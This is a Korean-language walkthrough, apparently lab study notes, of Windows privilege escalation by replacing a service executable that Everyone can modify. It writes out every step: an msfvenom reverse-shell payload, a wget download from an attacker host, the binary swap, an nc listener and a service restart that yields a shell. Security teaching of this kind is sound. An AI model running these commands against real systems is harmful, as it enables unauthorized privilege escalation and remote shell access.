# 목표 요약 - 서비스 실행 파일 **WService.exe**에 `Everyone: Modify (M)` 권한이 있음 - 공격자는 이 실행 파일을 악성 페이로드로 교체하여 다른 유저 권한으로 코드 실행 가능 # 단계별 공격 흐름 ##### 1단계: 서비스 정보 확인 명령어 ```bash sc qc windowsscheduler # 파워쉘에서 sc는 Set-Content의 alias # 따라서 sc.exe로 사용해야함 sc.exe qc windowsscheduler ``` 결과 예시 ```powershell BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe SERVICE_START_NAME : .\svcuser1 ``` - 서비스 이름: `windowsscheduler` - 실행 파일 경로: `C:\PROGRA~2\SYSTEM~1\WService.exe` - 실행 계정: `svcuser1` -> 일반 사용자보다 높은 권한일 수 있음 ##### 2단계: 실행 파일의 권한 확인 명령어 ```c icacls C:\PROGRA~2\SYSTEM~1\WSerivce.exe ``` 주요 결과 ```text Everyone:(I)(M) ``` - `Everyone` 그룹에게 Modify (M) 권한 부여됨 -> 누구나 수정 가능 - 공격자가 악성 실행 파일로 교체할 수 있음 ##### 3단계: Kali에서 악성 페이로드 생성 ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=1234 -f exe-service -o rev-svc.exe ``` - `exe-service` 포맷으로 리버스 쉘 생성 - 연결될 리스너 IP와 포트는 공격자에 맞게 설정 ##### 4단계: Kali에서 웹 서버 열기 (페이로드 전송) ```bash python3 -m http.server 8888 ``` - Python으로 현재 디렉토리를 HTTP 서버로 서비스 - Windows에서 파워쉘로 이 페이로드를 다운로드 할 수 있음. ##### 5단계: Windows에서 페이로드 다운로드 ```powershell wget http://<ATTACKER_IP>:8888/rev-svc.exe -O rev-svc.exe ``` ##### 6단계: 서비스 실행 파일 교체 ```powershell cd C:\PROGRA~2\SYSTEM~1\ move WService.exe WService.exe.bkp move C:\Users\wook\rev-svc.exe WService.exe icacls WService.exe /grant Everyone:F ``` - 기존 파일 백업 `WService.exe.bkp` - 악성 페이로드 교체 - `Everyone` 그룹에게 Full Control (F) 부여 -> 서비스 재시작 시 문제 없이 실행 ##### 7단계: Kali에서 리스너 대기 시작 ```bash nc -lvnp 1234 ``` - Windows 서비스가 시작되면 리버스쉘 연결이 수신됨 ##### 8단계: 서비스 재시작 (페이로드 실행 트리거) ```powershell sc stop windowsscheduler sc start windowsscheduler ``` - `windowsscheduler` 서비스 중지 후 시작 - 이때 교체된 악성 실행 파일이 실행되고 공격자에게 쉘 연결됨 ##### 9단계: 리버스 쉘 확보 ```bash nc -lvnp 1234 # 연결 수신 whoami # 결과: wprivesc1\svcusr1 ```